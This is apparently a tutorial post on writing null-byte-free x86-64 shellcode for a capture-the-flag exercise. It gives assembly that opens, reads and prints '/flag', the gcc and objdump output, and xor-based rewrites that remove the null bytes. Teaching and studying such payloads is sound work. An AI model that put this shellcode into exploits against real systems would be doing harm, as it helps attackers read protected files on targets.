a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability, I am going to show you how you can write shellcode without any NULL bytes in it.
let’s start writing normal shellcode that does 3 syscalls
read, write and open.
I am going to use one of my favorite Ryan A. Chapman syscall tables mentioned on his website.
let’s assume I have one file on my root dir called to
flag that contains some useful information as per read that file information.
first, I am going to write an open syscall that helps us to open our file,
here as per the syscall table we are using 3 registers
rdi register that helps us to pass a filename, we are also using
rsi, and RDX as per shown in syscall table. it also comes in handy if you use
man open helps you to understand how actually to open syscall works.
mov rsi, 0 lea rdi, [rip+file] mov rax, 2 syscalls
keep in mind for passing syscall number we are going to use
now let’s build a read syscall and here we are going to use the
rdi register for The file descriptor FD, if you read the syscall manual page you can understand how it works, in our case
int fd is inside the rax register.
rdi register going to
rsp because previously we load file name inside the memory so now rsp points to our actual flag location, the RDX register indicates the size of the buffer we are reading from the file. and at the end, we load read syscall no into the rax register.
mov rdi, rax mov rsi, rsp mov rdx, 100 mov rax, 0 syscall
so we already built our two main syscalls they open and read our file that is present in our root dir now we add one last syscall that writes our file contains so we can read what is inside the file.
here we are going to use write syscall all register value is as per mention in precious two syscalls,
mov rdi, 1 mov rsi, rsp mov rdx, rax mov rax, 1 syscall
now let’s write all syscall together and create beautiful assembly code that open, read and write our file contain
.global _start .intel_syntax noprefix _start: mov rsi, 0 lea rdi, [rip+file] mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 100 mov rax, 0 syscall mov rdi, 1 mov rsi, rsp mov rdx, rax mov rax, 1 syscall mov rax, 60 mov rdi, 42 syscall file: .ascii "/flag\0"
you can see in the assembly code I all add exit syscall at the end, one more thing that is necessary to notice is I add
\0 in and of our filename, it becomes our
lea rdi, [rip+file] instruction stop reading at null byte.
now let’s compile our assembly code and see it is having any null byte or not. i am going to use the following command to compile our
gcc -Wl,-N --static -nostdlib -o shellcode.elf shellcode.s objcopy --dump-section .text=shellcode.bin shellcode.elf
and here i am going to use objdump to see it is having any null byte or not,
objdump -M intel -d shellcode.elf shellcode.elf: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 c7 c6 00 00 00 00 mov rsi,0x0 4000db: 48 8d 3d 45 00 00 00 lea rdi,[rip+0x45] # 400127 <flag> 4000e2: 48 c7 c0 02 00 00 00 mov rax,0x2 4000e9: 0f 05 syscall 4000eb: 48 89 c7 mov rdi,rax 4000ee: 48 89 e6 mov rsi,rsp 4000f1: 48 c7 c2 64 00 00 00 mov rdx,0x64 4000f8: 48 c7 c0 00 00 00 00 mov rax,0x0 4000ff: 0f 05 syscall 400101: 48 c7 c7 01 00 00 00 mov rdi,0x1 400108: 48 89 e6 mov rsi,rsp 40010b: 48 89 c2 mov rdx,rax 40010e: 48 c7 c0 01 00 00 00 mov rax,0x1 400115: 0f 05 syscall 400117: 48 c7 c0 3c 00 00 00 mov rax,0x3c 40011e: 48 c7 c7 2a 00 00 00 mov rdi,0x2a 400125: 0f 05 syscall 0000000000400127 <flag>: 400127: 2f (bad) 400128: 66 6c data16 ins BYTE PTR es:[rdi],dx 40012a: 61 (bad) 40012b: 67 addr32 ...
so you can see there are so many null bytes present in our shellcode, so let again divide our shellcode into 3 parts as per syscall and try to remove those null bytes from the shellcode.
# open syscall ; With Null Byte 4000d4: 48 c7 c6 00 00 00 00 mov rsi,0x0 4000db: 48 8d 3d 45 00 00 00 lea rdi,[rip+0x45] # 400127 <flag> 4000e2: 48 c7 c0 02 00 00 00 mov rax,0x2 4000e9: 0f 05 syscall ;without null byte 4000d4: 48 31 f6 xor rsi,rsi 4000d7: c6 04 24 2f mov BYTE PTR [rsp],0x2f 4000db: c6 44 24 01 66 mov BYTE PTR [rsp+0x1],0x66 4000e0: c6 44 24 02 6c mov BYTE PTR [rsp+0x2],0x6c 4000e5: c6 44 24 03 61 mov BYTE PTR [rsp+0x3],0x61 4000ea: c6 44 24 04 67 mov BYTE PTR [rsp+0x4],0x67 4000ef: 30 c9 xor cl,cl 4000f1: 88 4c 24 05 mov BYTE PTR [rsp+0x5],cl 4000f5: 48 89 e7 mov rdi,rsp 4000f8: b0 02 mov al,0x2 4000fa: 0f 05 syscall
for removing null byte i use
xor instruction, also you can see that if you dirctly add
mov BYTE PTR [rsp+0x5], '\0' you endup with NULL byte in your shellcode so for that i xor cl register and mov that xor value into
# Read Syscall ;with Null Byte 4000eb: 48 89 c7 mov rdi,rax 4000ee: 48 89 e6 mov rsi,rsp 4000f1: 48 c7 c2 64 00 00 00 mov rdx,0x64 4000f8: 48 c7 c0 00 00 00 00 mov rax,0x0 4000ff: 0f 05 syscall ;Without Null Byte 4000fc: 48 89 c7 mov rdi,rax 4000ff: 48 89 e6 mov rsi,rsp 400102: b2 64 mov dl,0x64 400104: 48 31 c0 xor rax,rax 400107: 0f 05 syscall # Write Syscall ;with Null Byte 400101: 48 c7 c7 01 00 00 00 mov rdi,0x1 400108: 48 89 e6 mov rsi,rsp 40010b: 48 89 c2 mov rdx,rax 40010e: 48 c7 c0 01 00 00 00 mov rax,0x1 400115: 0f 05 syscall ;without Null Byte 400109: 40 b7 01 mov dil,0x1 40010c: 48 89 e6 mov rsi,rsp 40010f: 48 89 c2 mov rdx,rax 400112: 48 31 c0 xor rax,rax 400115: b0 01 mov al,0x1 400117: 0f 05 syscall
You can see we remove all null bytes from the shellcode and its works perfectly.